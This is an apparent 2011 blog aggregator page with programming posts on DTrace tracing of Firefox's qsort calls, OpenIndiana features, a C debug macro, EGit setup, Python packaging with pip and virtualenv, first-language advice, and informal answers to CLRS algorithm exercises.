                  libcairo.so.2.10800.10`_cairo_bentley_ottmann_tessellate_bo_edges+0x172
                  libcairo.so.2.10800.10`_cairo_bentley_ottmann_tessellate_polygon+0x41f
                  libcairo.so.2.10800.10`_cairo_path_fixed_fill_to_traps+0x150
                  libcairo.so.2.10800.10`_cairo_clip_clip+0xe3
                  libcairo.so.2.10800.10`_cairo_gstate_clip+0x44
                  libcairo.so.2.10800.10`cairo_clip_preserve+0x31
                  libxul.so`__1cKgfxContextEClip6M_v_+0x24
                  libxul.so`__1cInsWindowNOnExposeEvent6MpnK_GtkWidget_pnP_GdkEventExpose__i_+0x56e
                  libxul.so`__1cPexpose_event_cb6FpnK_GtkWidget_pnP_GdkEventExpose__i_+0x72
                  libgtk-x11-2.0.so.0.2000.0`_gtk_marshal_BOOLEAN__BOXED+0x7b
                  libgobject-2.0.so.0.2501.0`g_closure_invoke+0xdf
                  libgobject-2.0.so.0.2501.0`signal_emit_unlocked_R+0x9f2
                  libgobject-2.0.so.0.2501.0`g_signal_emit_valist+0x6d2
                  libgobject-2.0.so.0.2501.0`g_signal_emit+0x28
                  libgtk-x11-2.0.so.0.2000.0`gtk_widget_event_internal+0x24d
                  libgtk-x11-2.0.so.0.2000.0`gtk_widget_send_expose+0x98
                  libgtk-x11-2.0.so.0.2000.0`gtk_main_do_event+0x46f
                  libgdk-x11-2.0.so.0.2000.0`_gdk_window_process_updates_recurse+0x291
                  libgdk-x11-2.0.so.0.2000.0`_gdk_windowing_window_process_updates_recurse+0x24
                  184
    

    This counts the number of 4-byte element, 8-element arrays qsort aggregated on the stack trace. We get to use ustack() here because we are in userspace (stack() would give us the kernel stack trace). Where is Firefox in this mess? libxul.so. This is the limit of my knowledge of Firefox internals and someone more knowledgeable could tell you more.

    Your Turn

    Do you use DTrace? Do you have some interesting war stories? Let me know in the comments!

    by JeffPC at October 02, 2011 04:49 PM

    DTrace: qsort use in Firefox

    I’ve talked about OpenIndiana a bunch. I’ve mentioned several of its features. Let me tell you about my Wikipedia article: DTrace experiments from today. Inspired by Wikipedia article: Con Kolivas, I decided to see how Firefox uses the qsort C function.

    First things first, let’s look at what the function signature looks like.

    void qsort(void *base, size_t nel, size_t width,
               int (*compar)(const void *, const void *));
    

    The second argument contains the number of elements.

    Now, let’s take a look at DTrace. We want the pid provider, which lets us instrument a specific process. In my case, Firefox was pid 1069. pid1069:libc:qsort:entry is the name of the probe that will fire every time qsort in libc.so is called by Firefox (pid 1069). Let’s aggregate the second argument (the number of elements). To keep things sane, I used the llquantize function. It is a log-linear quantization function that was rather well explained by http://dtrace.org/blogs/bmc/2011/02/08/llquantize/. (Base 10 with buckets between zero and one million seemed reasonable enough.) Additionally, I wanted DTrace to give me the current histogram every minute — that’s why there is the tick-60sec probe.

    # dtrace -n 'pid1069:libc:qsort:entry{@=llquantize(arg1, 10,0,6,20)} tick-60sec{printa(@)}'
    
    ...
      1  78738                      :tick-60sec 
    
               value  ------------- Distribution ------------- count    
                 < 1 |                                         2        
                   1 |                                         0        
                   2 |                                         21       
                   3 |                                         2        
                   4 |@@@@                                     365      
                   5 |                                         1        
                   6 |@                                        132      
                   7 |                                         0        
                   8 |@@@@@@@@@@@@@@@@@@@@@                    1923     
                   9 |                                         0        
                  10 |@                                        135      
                  15 |@@                                       194      
                  20 |@                                        134      
                  25 |                                         9        
                  30 |@@@                                      246      
                  35 |                                         31       
                  40 |                                         8        
                  45 |                                         0        
                  50 |                                         0        
                  55 |                                         10       
                  60 |                                         1        
                  65 |                                         10       
                  70 |                                         39       
                  75 |                                         2        
                  80 |@                                        112      
                  85 |@                                        56       
                  90 |@                                        82       
                  95 |                                         1        
                 100 |@                                        132      
                 150 |@                                        90       
                 200 |                                         0        
                 250 |                                         0        
                 300 |                                         4        
                 350 |                                         0        
    

    Interesting! After several minutes of browsing various websites, we can see that Firefox really likes to sort 8-element arrays. (The value column is the bucket for the various array lengths. The count column specifies how many times there was a qsort call for each bucket.) Let’s dig a little deeper. Sorting 1 byte array elements is very different from sorting 1 MB elements. It would be really nice if we could break the histogram down into several histograms — one for each size. Well, guess what? DTrace lets you do that very easily.

    Note that the command changed only a little. Now, in addition to looking at the second argument (the array length), DTrace breaks down the distribution based on the value of the third argument (the array element size). Since I visited different websites and Firefox does caching, the distribution of qsorts is a bit different — but it is still close enough.

    # dtrace -n 'pid1069:libc:qsort:entry{@[arg2]=llquantize(arg1, 10,0,6,20)} tick-60sec{printa(@)}'
    
    ...
      4  78738                      :tick-60sec 
                   52
               value  ------------- Distribution ------------- count    
                   1 |                                         0        
                   2 |@@@@@@@@@@@@@@@@@                        60       
                   3 |@@                                       9        
                   4 |@@@@@                                    17       
                   5 |                                         0        
                   6 |@@@@@@@@@@@@@@@                          55       
                   7 |                                         0        
                   8 |@                                        3        
                   9 |                                         1        
                  10 |                                         0        
    
                    8
               value  ------------- Distribution ------------- count    
                 < 1 |@@@@@@@@@@@@@                            2        
                   1 |                                         0        
                   2 |                                         0        
                   3 |                                         0        
                   4 |                                         0        
                   5 |                                         0        
                   6 |                                         0        
                   7 |                                         0        
                   8 |                                         0        
                   9 |                                         0        
                  10 |                                         0        
                  15 |                                         0        
                  20 |                                         0        
                  25 |                                         0        
                  30 |                                         0        
                  35 |                                         0        
                  40 |                                         0        
                  45 |                                         0        
                  50 |                                         0        
                  55 |                                         0        
                  60 |                                         0        
                  65 |                                         0        
                  70 |                                         0        
                  75 |                                         0        
                  80 |                                         0        
                  85 |                                         0        
                  90 |                                         0        
                  95 |                                         0        
                 100 |                                         0        
                 150 |                                         0        
                 200 |@@@@@@@@@@@@@@@@@@@@                     3        
                 250 |                                         0        
                 300 |@@@@@@@                                  1        
                 350 |                                         0        
    
                    4
               value  ------------- Distribution ------------- count    
                 < 1 |                                         12       
                   1 |                                         0        
                   2 |                                         1        
                   3 |                                         0        
                   4 |@@@@@@@                                  1351     
                   5 |                                         0        
                   6 |@                                        247      
                   7 |                                         0        
                   8 |@@@@@@@@@                                1868     
                   9 |                                         0        
                  10 |@@@                                      594      
                  15 |@@                                       422      
                  20 |@                                        230      
                  25 |                                         4        
                  30 |@@@@@@                                   1193     
                  35 |@@                                       466      
                  40 |                                         57       
                  45 |                                         63       
                  50 |                                         1        
                  55 |                                         18       
                  60 |@                                        190      
                  65 |@@                                       341      
                  70 |@                                        207      
                  75 |                                         2        
                  80 |                                         56       
                  85 |@                                        158      
                  90 |                                         46       
                  95 |                                         0        
                 100 |@@                                       350      
                 150 |@                                        206      
                 200 |                                         3        
                 250 |                                         10       
                 300 |                                         8        
                 350 |                                         0        
                 400 |                                         0        
                 450 |                                         0        
                 500 |                                         0        
                 550 |                                         0        
                 600 |                                         0        
                 650 |                                         0        
                 700 |                                         1        
                 750 |                                         10       
                 800 |                                         0        
                 850 |                                         0        
                 900 |                                         0        
                 950 |                                         0        
                1000 |                                         0        
                1500 |                                         0        
                2000 |                                         0        
                2500 |                                         0        
                3000 |                                         8        
                3500 |                                         0        
    

    As you can see, there are now three histograms printed — that’s because DTrace saw 3 unique values of arg2. The first histogram is for 52-byte array element sorts. There weren’t many of those over the few minutes of browsing I did. The second is for 8-bytes elements — there are six of those total! The third distribution is where things get interesting. These are all the sorts of 4-byte array elements. Now we know that the large amount of 8-element sorts Firefox performs are on 4-byte element arrays. I wonder what that’s about. We also see that there were eight times that Firefox ended up sorting an array that had somewhere between 3000 and 3500 4-byte elements. Eeek!

    DTrace is a really powerful tool. It lets you inspect the operation of a system with minimal disruption (the performance overhead is rather small). I hope to post more analyses of various software in the future.

    I should add, this experiment was conducted with Firefox 3.6.12 on OpenIndiana 151a.

    by JeffPC at October 02, 2011 05:35 AM

    September 30, 2011

    Josef "Jeff" Sipek

    Jasmine

    It’s been a while since I used my camera. Yesterday evening, my girlfriend got her cat from home. I used the opportunity to take a few shots. As you may have guessed, her name (the cat’s) is Jasmine.

    by JeffPC at September 30, 2011 01:25 AM

    September 18, 2011

    Josef "Jeff" Sipek

    OpenIndiana The What and Why

    You have seen me publish two posts about OpenIndiana, but neither of them really says what it is and why you should use it.

    The What

    OpenIndiana started off as a fork of OpenSolaris. At first, its aim was to provide an alternative to Oracle’s soon-to-be-released Solaris 11, but lately its aim shifted to “an enterprise-quality OS alternative to Linux.”

    OpenIndiana is much like a distro in the Linux world. It relies on the Illumos project for the kernel and basic userspace utilities (the shell, etc.). In September 2010, Illumos forked the OpenSolaris kernel and utilities, and OpenIndiana forked the surrounding userspace (the build system for all the packages that make the system usable).

    The Why

    It is the technology that is the reason I started using OI. Here are some of the features that either drew me in to try OI, or made me stay.

    Crossbow
    Crossbow was the name of the project that consisted of a major revamp of the network stack. With this revamp (which was available in OpenSolaris), you can create virtual network interfaces, vlans, bridges, switches (called etherstubs), as well as aggregate links with simple commands — quickly, and all the configuration is persistent. You can dedicate both physical and virtual links to zones (see below) to create entire network topologies within one computer. (see dladm(1M) and ipdam(1M))
    Zones
    These days, everyone is happily setting up virtual machines whenever they need an environment they can tweak without affecting stability of other services. Solaris zones are a great virtualization technology. They allow you to set up multiple Solaris instances (called zones) that have a separate root filesystem (much like chroot). Unlike chrooted environments, having root access in a zone does not give you unrestricted access to the kernel. Zones combined with crossbow is a great combination to consolidate separate systems onto a single Solaris host. (I am currently writing a post about using zones and crossbow on a home server/router.)
    Boot Environments (BE) & IPS
    Long story short, if the package manager (IPS) detects that a potentially major change is going to occur during an update (e.g., a driver or kernel upgrade), it clones the current root filesystem (easy to do thanks to ZFS) and applies the updates there. It then adds a menu entry to grub to boot into this new environment. The current environment is unchanged. At your leisure, you just reboot into the new environment. If everything works — great. If, however, things break, you can just reboot into the previous BE, and mount the new BE’s root and fix things up. This means that the only downtime the system sees is the reboot or two.
    ZFS
    There’s plenty of ZFS discussion elsewhere. My favorite features about it are (in no particular order): snapshots, deduplication, integrated volume management, and checksumming.

    So there you have it. Sure, many of Solaris’s features are available in some shape or form on Linux, but they tend to be either horribly crippled, or if you are “lucky,” lacking sane management interface.

    If you want to see what all this fuss is about, I suggest you grab the Live DVD (or Live USB) image on the download page and give it a try.

    by JeffPC at September 18, 2011 03:48 PM

    September 04, 2011

    Justin Lintz

    Useful C Debug Macro

    Tonight I took the plunge to get back into some more C coding. In getting my environment setup I came across a useful debugging macro. This macro will output the filename and line number every time it’s expanded. I wanted to make sure I understood how the macro was working before just copying and pasting it into my source code so I’ve broken it down below for myself and others to understand.

    Here is a copy of the code that I slightly modified to also include the function name from where the debug macro is being used.

    First we check if the DEBUG macro has been defined at all. If it has been, we declare a function-like _DEBUG macro that will get expanded to our debugging function. If DEBUG has not been defined, we still declare our function-like macro the same but with just no body so the macro will not be expanded to anything.

    Our _DEBUG macro makes use of a few predefined macros:
    __FILE__: Expands to the current file name. This will not print the shortname of the file.
    __FUNCTION__: Expands to the current function the code is being executed from. This is a C99 and GCC feature only.
    __LINE__: Expands to the current line number in the file

    We also make use of ‘variadic macros’ aka macros that accept a variable number of arguments. A variadic macro can be defined named or unnamed. We use the named method which involves putting an argument name followed by ‘…’ which is later referenced by just using the argument name in the macro body. An unnamed variadic macro just involves using ‘…’ and later referenced in the macro body using the predefined macro __VA_ARGS__

    A default format string is passed into printf to take care of the formatting for the filename, function name and line number. Immediately after the default format string, we specify the fmt argument we used that will get assigned our own format string that we pass into the _DEBUG macro. This will all get expanded to "%s:%s:%d: " "val of fmt" which is valid C syntax.

    To activate the _DEBUG macro we can define DEBUG in our gcc command

    gcc -g -D DEBUG

    by justin at September 04, 2011 05:22 AM

    August 24, 2011

    Wes

    Installing and using egit, the eclipse git plugin

    I use the latest PDT version of eclipse (Helios) as my IDE of choice, and have used the built-in cvs and add-on svn-kit plugins for version control for many years. When I first started using git, I guess I didn't think there was a git plug-in for eclipse or that the ones I saw just weren't stable enough, so I just went to the command line to do the git work then back to eclipse to continue coding. Now that Drupal has moved their whole repository from cvs to git, I thought it might be time to add the e-git plug-in to eclipse so that I don't have to leave eclipse to get git work done. That's the point of using and IDE isn't it?

    First if you don't already have git installed on your laptop/desktop I suggest you follow the instructions for that at github, this link will redirect to the appropriate OS it detects that you are using.

    To install e-git, go to preferences, in linux it's in the Window menu, in Mac OSx it's in the File, I think it's the same as the Mac for Windows. In preferences go to Install/Update -> Available Software Sites. If Eclipse Git Team Provider is not listed then you have to click on add and enter http://download.eclipse.org/egit/updates as the site for egit, If it is listed, just enable it. Next, go to Help -> Install New Software. In the "Work with" drop down select "Eclipse Git Team Provider", then check Eclipse JGit under JGit and Eclipse EGit under Eclipse Git Team Provider, click next and accept the license agreement and you'll be prompted to restart eclipse when you're finished. If all goes well, you should see a new tab under Team in the preferences window for Git. Since I'm a php web developer, I've set my Default Repo folder to /var/www here. Then click on Configuration and add 2 new key/value pair entries, the first is user.name (put what you'd like here but I think it should be your true name), and the second is user.email (use the name you've used/will use with the repos you are going to be an active participant of). These 2 values are used along with your public key to make sure you're you when you want to push to the repo of origin.

    Now comes the trickiest part of the eclipse/git integration. I tried to create a php project then outside of eclipse do a git init but noticed that in eclipse the team menu only had "apply patch", so that wasn't the way to add git integration. I tried a couple of other things but nothing gave me what I needed.
    The process I use for creating a new php project with git integration now is, open the Git Repos view, click on Add Git Repo, add a new repo here with an absolute path such as /var/www/new-repo and click finish. Next, right click on the new repo in the view and select "import projects". Under Method for project creation select "Use the New Projects wizard" and under "Method for sharing projects after project creation" select "Try to share newly created projects automatically" and click finish. Now the New Project wizard will start, expand PHP to reveal PHP Project, select that and click next. In the new php project under Project name type new-repo or whatever you just named the repo you just created, check the box for javascript support if you like and click on finish. The first time you do this you'll get another dialog that asks if you'd like to open the Associated perspective (php) now, you can check "remember my decision" and you won't ever have to deal with this again, click yes, and you'll have started a fully git integrated php project in eclipse. Expand the newly created project and highlight the .settings, .buildpath, and .project files and right click on them, select Team->Ignore so that these files and directory won't be committed to any other repo. You'll see a new file (created by git) .gitignore which keeps track of these things.

    http://wiki.eclipse.org/EGit/User_Guide

    Topics: 

    by lipcpro at August 24, 2011 03:54 PM

    July 13, 2011

    Justin

    How not to program in python

    TL;DR

    Whatever you do, make sure you are using versioned python packages, even for simple tasks. And use pip+virtualenv.

    So you want to program in python..

    It seems like only yesterday, and not 7 years ago, that I decided to learn python. I may not be the best python programmer, but I have made probably every mistake you can, so here are a bunch of things not to do, and a few things you should be doing.

    Don't: write python 'scripts'

    Don't write programs like this:

    temp = input("C: ")
    print temp*9/5+32
    

    The way you fix that is not by writing the following:

    if __name__ == "__main__":
        temp = input("C: ")
        print temp*9/5+32
    

    And don't write this either:

    def main():
        temp = input("C: ")
        print temp*9/5+32
    if __name__ == "__main__":
        main()
    

    No matter how good your logic is, if you couple the logic with your input and output you are painting yourself into a corner. I've seen people write scripts like this, and then have other scripts call them using os.system. In a loop. Then they wonder why python is so slow.

    Do: Write python modules and packages

    Minimally this could look something like:

    def ctof(temp):
        return temp*9/5+32
    def main():
        temp = input("C: ")
        print ctof(temp)
    if __name__ == "__main__":
        main()
    

    Even better would be to have main parse sys.argv rather than working interactively. For simple interactive tools it is hard to beat the cmd module

    Now you have a (albeit poorly named) python module that can properly be imported from a larger program:

    >>> import temp
    >>> print temp.ctof(100)
    212
    

    Don't: mess with PYTHONPATH

    Now that you have a module you can import, what do you do with it? For years my development/production environment consisted of the following: a lib directory containing modules and packages and a util directory containing scripts that used those modules. This worked fine for a long time, especially when I only had one machine. When I got more systems, I used the high tech method of rsync'ing the entire directory tree to /srv/python or ~/python/ and mucking with the python path. This system worked, but had a number of problems:

    • If I wanted to run a program on a new system, I had to rsync the entire directory tree.
    • Since there was no dependency information, the first time I wanted to share a program I wrote, I had to figure out the dependencies manually.
    • I had no idea what modules were being used, and which were obsolete.
    • When I started writing test code and documentation, I did not have a good place to store them. I used a single directory for all my tiny modules because one directory per module seemed like overkill at the time.
    • When the version of python on the system was upgraded, bad things happened.

    It's very tempting to simply throw all of your python code into a single directory tree, but that method only causes problems later on.

    Do: Create python modules

    For the example above, we can write a simple setup.py file:

    from distutils.core import setup
    
    setup(name="temp",
        version="1.0",
        py_modules = ["temp"], 
        entry_points = {
            'console_scripts': [
                'ctof   = temp:main',
            ]
        },
    )
    

    If you have a full package instead of a single file module, you should use packages and not py_modules. The the official documentation should be read if you are doing anything more complicated. There are fields for your name, short and long descriptions, licensing information, etc. This example was kept purposely short to make it clear that there is not much you actually have to do to get started. Even a barebones setup.py is better than no setup.py.

    Don't: use 'scripts' in setup.py (Do: Use entry points)

    console_scripts entry_points should be preferred over the 'scripts' that setup.py can install. The last time I tried, scripts did not get correctly installed on Windows systems, but console_scripts did. Additionally, the more code you have in scripts, the less testable code you have in your modules. When you use scripts, eventually you will get to the point where they all contain something similar to:

    from mypackage.commands import frob
    frob()
    

    and at that point, you are just re-implementing what console_scripts does for you.

    Do: Version your packages and depend on specific versions.

    So, after years of doing-the-wrong-thing, I finally created proper packages for each of my libraries and tools. Shortly after that I started having problems again. While I had been versioning all of my packages, any package that required another package simply depended on the package name and not any specific version or it. This created problems any time I would add new features. I would install the latest version of a utility package on a server, and it would crash since I had forgotten to upgrade the library it depended on. Since I wasn't syncing the entire directory tree anymore, libraries were becoming out of date.

    Don't install packages system wide. (Do: Use virtualenv and pip)

    Once you get to the point where you are using versioned packages, you'll want to be able install different versions of modules under different python versions. When I was simply sticking everything under /srv/python it was next to impossible to have multiple versions of python. I could change PYTHONPATH to point somewhere else, but there was no easy way to maintain two complete different trees of modules.

    It is extremely simple to get started using pip and virtual environments. You can use the -E option to create a virtual environment and install a package in one command. The -E option to pip creates a virtual environment if one doesn't already exist:

    justin@eee:~/tmp$ pip  -E python_env install bottle
    Creating new virtualenv environment in python_env
      New python executable in python_env/bin/python
      Installing distribute...done........................
    Downloading/unpacking bottle
      Downloading bottle-0.9.5.tar.gz (45Kb): 45Kb downloaded
      Running setup.py egg_info for package bottle
    
    Installing collected packages: bottle
      Running setup.py install for bottle
    
    Successfully installed bottle
    Cleaning up...
    justin@eee:~/tmp$ ./python_env/bin/python 
    >>> import bottle
    >>> bottle.\_\_file\_\_
    '/home/justin/tmp/python_env/lib/python2.7/site-packages/bottle.pyc'
    >>> 
    

    I can use that same method to install the toy module I wrote for this post as well:

    justin@eee:~/tmp$ pip  -E python_env install ~/tmp/post/temp_mod/
    Unpacking ./post/temp_mod
      Running setup.py egg_info for package from file:///home/justin/tmp/post/temp_mod
    
    Installing collected packages: temp
      Running setup.py install for temp
    
        Installing ctof script to /home/justin/tmp/python_env/bin
    
    Successfully installed temp
    Cleaning up...
    

    pip was also nice enough to install my console_script:

    justin@eee:~/tmp$ ./python_env/bin/ctof 
    C: 34
    93
    

    Too long; Did read

    The barrier to entry for python is a lot lower compared to a language like java or c++. It's true that helloworld is simply:

    print("Hello, World")
    

    However, if you plan on using python for anything more complicated, you will want to learn how to take advantage of modules and packages. Python doesn't force you to do this, but not doing so can quickly turn into a maintenance nightmare.

    July 13, 2011 09:45 PM

    July 11, 2011

    Eitan Adler

    What language should you learn first?

    Kaushal Shriyan on the beginners@perl.org mailing list asked:
    "Is it better to learn Perl or Python since i can manage only writing simple bash shell scripts."[1]
    Recently on ##C++-basic there was a discussion that related to learning low level vs high level languages first.

    Both of these discussions are based on the premise that there is a right answer.

    There are a number of things wrong with this question.
    1. Kaushal seems to be saying that he can only learn one language or the other. Why not learn both?
    2. Programming language choice depends on the project one plans on working on. Using perl to write a kernel is impossible and using COBOL to write a GUI application is silly. Asking such a question requires more context.
    3. For some reason only Perl and Python are the only languages given as choices. What about C++? Why not Haskell? There are many useful languages and they each have their own pros and cons.
    More generally, there are many skills have a programmer needs to have and there are different ways of learning each of these skills.
    • Code organization and Design Patterns
    • Programming constructs
    • Abstraction and encapsulation
    • Data structures and how to choose between them
    • Syscalls and context switching
    • and many more
    All of these topics can be reasonably broken down into two types: programming topics and computer science topics.

    Higher-level languages allow programmers to abstract away the low level details and focus on getting a task done. This is great for completing a task and making a beginner feel proud about what (s)he has created. It also helps the programmer learn programming basics such as variables, loops, arrays, input/output, and functions without getting bogged down with memory management.

    On the other hand, choosing between various data structures is confusing unless one understands why things work the way they do. Learning about context switches, data structures, syscalls, pointers, etc is easier in a low level language (like C or C++).
     
    So what language should someone learn first?

    A good programmer should learn both types of languages. In my experience a lot beginners have trouble wrapping their heads around functions and other organizational patterns such as classes. I usually start people with Python and move quickly to C++. This helps to teach good programming style and techniques before they get to learn the low level concepts as well. 

    [1] http://comments.gmane.org/gmane.comp.python.tutor/65413

    by Eitan Adler (noreply@blogger.com) at July 11, 2011 04:37 PM

    July 10, 2011

    Eitan Adler

    Blogging my way through CLRS section 3.1 [part 5]

    Part 4 here.
    I wrote an entire blog post explaining the answers to 2.3 but Blogger decided to eat it. I don't want to redo those answers so here is 3.1:
    For now on I will title my posts with the section number as well to help Google.



    Question 3.1-1: Let $f(n)$ and $g(n)$be asymptotically non-negative functions. Using the basic definition of $\theta$-notation, prove that $\max(f(n) , g(n)) \in \theta(f(n) + g(n))$ .

    CLRS defines $\theta$ as $\theta(g(n))= \{ f(n) :$ there exists some positive constants $c_1, c_2$, and $n_0,$ such that $0 \leq c_1g(n) \leq f(n) \leq c_2g(n)$ for all $n \geq n_0\}$ Essentially we must prove that there exists some $c_1$ and $c_2$ such that $c_1 \times (f(n) + g(n)) \leq \max(f(n), g(n)) \leq c_2 \times (f(n) + g(n))$ There are a variety of ways to do this but I will choose the easiest way I could think of. Based on the above equation we know that $\max(f(n), g(n)) \leq f(n) + g(n)$ (as f(n) and g(n) must both me non-negative) and we further know that $\max(f(n), g(n))$ can't be more than twice f(n)+g(n). What we have then are the following inequalities: $$\max(f(n), g(n)) \leq c_1 \times (f(n) + g(n))$$ and $$c_2 \times (f(n) + g(n)) \leq 2 \times \max(f(n), g(n))$$ Solving for $c_1$ we get 1 and for $c_2$ we get $\frac {1} {2}$


    Question 3.1-2: Show for any real constants $a$ and $b$ where $b \gt 0$ that $(n+a)^b \in \theta(n^b)$
    Because $a$ is a constant and the definition of $\theta$ is true after some $n_0$ adding $a$ to $n$ does not affect the definition and we simplify to $n^b \in \theta(n^b)$ which is trivially true

    Question 3.1-3: Explain why the statement "The running time of $A$ is at least $O(n^2)$," is meaningless.

    I'm a little uncertain of this answer but I think this is what CLRS is getting at when we say a function $f(n)$ has a running time of $O(g(n))$ what we really mean is that $f(n)$ has an asymptotic upper bound of $g(n)$. This means that $f(n) \leq g(n)$ after some $n_0$. To say a function has a running time of at least g(n) seems to be saying that $f(n) \leq g(n) \And f(n) \geq g(n)$ which is a contradiction.


    Question 3.1-4: Is $2^{n+1} = O(2^n)$? Is $2^{2n} = O(2^n)$?

    $2^{n+1} = 2 \times 2^n$. which means that $2^{n+1} \leq c_1 \times 2^n$ after $n_0$ so we have our answer that $2^{n+1} \in o(2^n)$ Alternatively we could say that the two functions only differ by a constant coefficient and therefore the answer is yes.

    There is no constant such that $2^{2n} = c \times 2^n$ and thefore $2^{2n} \notin O(2^n)$


    Question 3.1-5: Prove that for any two functions $f(n)$ and $g(n)$, we have $f(n) \in \theta(g(n)) \iff f(n) \in O(g(n)) \And f(n) \in \Omega(g(n))$

    This is an "if an only if" problem so we must prove this in two parts:

    Firstly, if $f(n) \in O(g(n))$ then there exists some $c_1$ and $n_0$ such that $f(n) \leq c_1 \times g(n)$ after some $n_0$. Further if $f(n) \in Omega(g(n))$ then there exists some $c_2$ and $n_0$ such that $f(n) \geq c_2 \times g(n)$ after some $n_0$.

    If we combine the above two statements (which come from the definitions of $\Omega$ and O) than we know that there exists some $c_1, c_2, and n_0,$ such that $c_1g(n) \leq f(n) \leq c_2g(n)$ for all $n \geq n_0\}$

    We could do the same thing backward for the other direction: If $f(n) \in \theta(g(n))$ then we could split the above inequality and show that each of the individual statements are true.


    Question 3.1-6: Prove that the running time of an algorithm is $\theta(g(n)) \iff$ its worst-case running time is $O(g(n))$ and its best case running time $\Omega(g(n))$.
    I'm going to try for an intuitive proof here instead of a mathematical one. If the worst case is asymptotically bound above in the worst case by a certain function and is asymptotically bound from below in the best case which means that the function is tightly bound by both those functions. f(n) never goes below some constant times g(n) and never goes above some constant times g(n). This is what we get from the above definition of $\theta(g(n)))$ A mathematical follows from question 3.1-5.

    Question 3.1-7: Prove that $o(g(n)) \cap \omega(g(n)) = \varnothing$

    little o and little omega are defined as follows: \[o(g(n)) = \{ f(n) : \forall c > 0 \exists n_0 \text{such that } 0 \leq f(n) \leq c \times g(n) \forall n \gt n_0\] and \[\omega(g(n)) = \{ f(n) : \forall c > 0 \exists n_0 \text{such that } 0 \leq c \times g(n) \leq f(n) \forall n \gt n_0\]

    In other words

    $$f(n) \in o(g(n)) \iff \lim_{n \to \infty} \frac {f(n)} {g(n)} = 0$$ and $$f(n) \in \omega(g(n)) \iff \lim_{n \to \infty} \frac {f(n)} {g(n)} = \infty$$

    It is obvious that these can not be true at the same time. This would require that $0 = \infty$

    by Eitan Adler (noreply@blogger.com) at July 10, 2011 06:39 PM

    June 30, 2011

    Eitan Adler

    Blogging my way through CLRS [part 4]

    Part 3 here This set is a bit easier than last time.
    Question 2.2-1:Express the function $$\frac{n^3}{1000} - 100n^2 - 100n + 3$$ in terms of $\Theta$ notation
    A function g(x) is said to be in the set of all functions $\Theta(x)$ if and only if g(x) is also in the set of all functions $\Omega(x)$ and in the set of all functions $O(x)$.
    Symbolically: $$g(x) \in \Theta(x) \iff g(x) \in O(x) \And g(x) \in \Omega(x)$$

    A function g(x) is in the set of all functions $\Theta(x)$ if and only if after some constant $c$ it is always true that for some constant C, $g(x) \lt Cf(x)$

    A function g(x) is in the set of all functions O(x) if and only if after some constant $c$ it is always true that for some constant C, $g(x) \gt Cf(x)$

    With our function we could choose practically any function to satisfy either one of these conditions. However we need to satisfy both of them. One thing that makes this easier is that it only has to be true after some constant number. This allows us to throw away the "trivial" parts that are eventually overwhelmed by the faster growing terms. We therefore are only left with $n^3$, which is the answer.

    Question 2.2-2: Consider sorting n numbers stored in an array A by first finding the smallest element and exchanging it with the element in A[1], then find the second smallest element and exchange it with A[2], and continue this for the first n-1 elements of A. Write the pseudocode for this algorithm, which is known as Selection Sort. What loop invariant does this algorithm maintain? Why does it need to run only for the first n-1 elements and not for all n? Give the best case and worst case running times in $\Theta$ notation
    This question is asking us to analyze selection sort in a variety of ways. I will start with writing out the pseudocode: for $j \leftarrow 1$ to $n-1$
       min $\leftarrow$ j
       for $i \leftarrow j+1$ to $n$
         $\rhd$ if A[i] < A[min] then min $\leftarrow$ i
       $\rhd$ if min $\neq$ j then swap A[min] and A[j]
    A loop invariant that this algorithm maintains is that every elements prior to A[j] is sorted among the subarray A[1] to A[j] and is less than or equal to every element in the subarray A[j+1] to A[n]. I do not believe a stronger loop invariant is provable. The algorithm only needs to run until n-1 because of the second part of the loop invariant. When $j = n-1$ we know that every element after A[j], which is A[n] is not less than all previous elements. Therefore no check has to be done. In the best case (an already sorted array) and in the worst case (a reverse sorted array) the running time is the same: $\Theta(n^2)$
    Question 2.2-3: Consider linear search again. How many elements of the input sequence need to be checked on average, assuming that the element being searched for is equally likely to be any element in the array? How about in the worst case? What are the average-case and worst-case running times of linear search in $\Theta$ notation?
    The best case for a linear search algorithm is when the searched-for element is in the first location. In the worst case all n locations must be searched. In the average case $\frac{n}{2}$ locations have to be searched.
    Question 2.2-4: How can we modify almost any algorithm to have a good best-case running time?
    I have no idea what this question is asking for. I guess checking for the optimal case (as in a pre-sorted array for a sorting algorithm) and then skipping the rest of the procedure might work.

    by Eitan Adler (noreply@blogger.com) at June 30, 2011 03:46 PM

    Cormen on Algorithms: Blogging my way through [1/?]

    Two of my good friends recently started reading Introduction to Algorithms by Thomas H. Cormen, et. al. Being unable to resist peer pressure I decided to follow and read along.

    I plan on blogging my way through the chapters writing my answers to the questions as I go through the book. Like most of my plans they don't always work out, but one could try.

    Here it goes!





    1.1-1: Give a real-world example in which each of the following computational problems appears: (a)Sorting, (b) Determining the best order for multiplying matrices, (c) finding the convex hull of a set of points.
    Sorting - Sorting comes up in virtually every algorithm one could think of. Everything from optimizing monetary investments to efficient compression algorithms has to sort data at some point or another. A harder question might be: Name one non-trivial algorithm that doesn't require sorting.
    Multiplying Matrices - graphics and scientific problems frequently require matrix operations.
    Convex Hull - Collision detection for use in games, modeling biological systems, or other related work could make use of this
    1.1-2: Other than speed what other measures of efficiency might one use in a real-world setting?
    It is possible to optimize for (and against) every limited resource. For example minimizing the amount of memory usage is important for embedded applications (and desktop ones too). Reducing total disk I/O is important to increase the longevity of hard drives. On a less technical note optimizing for monetary cost or man hours expended is important too.
    1.1-3: Select a data structure you have seen previously and discuss its strengths and limitations
    One of the most interesting data structures I know is the Bloom Filter. It is a probabilistic data structure that can determine if an element is NOT in a set but can't determine definitively if an element is in a set. It works by hashing each element in a set to a fixed size bit array. It then ORs the hash with itself (which starts at all zeros). One can test to see if an element is in a set by generating the hash and testing to see if every bit set to 1 in the queried element is set to 1 in the filter. If it is then you have some degree of confidence that the element is in the set. Any negative means that what you are querying for has not been added.
    While most probabilistic structures have certain properties in common, bloom filters have a number of interesting pros and cons.
    1. A negative result is definitive - if a query returns that an element has not been added then one knows this to be 100% true.
    2. Since hashes are fixed size the amount of memory a Bloom Filter uses is known and bounded.
    3. Bloom filters can quickly become useless with large amounts of data. It is possible that every bit will be set to 1 which effectively makes the query a NOP.
    4. It is impossible to remove data from a bloom filter. One can't just set all the bits of the hash to a zero because that might be removing other elements as well.
    5. Without a second set of data there is no way to deterministically list all elements (unlike other probabilistic data structures such as Skip Lists).
    1.1-4: How are the shortest path and traveling salesmen problems similar? How are they different?
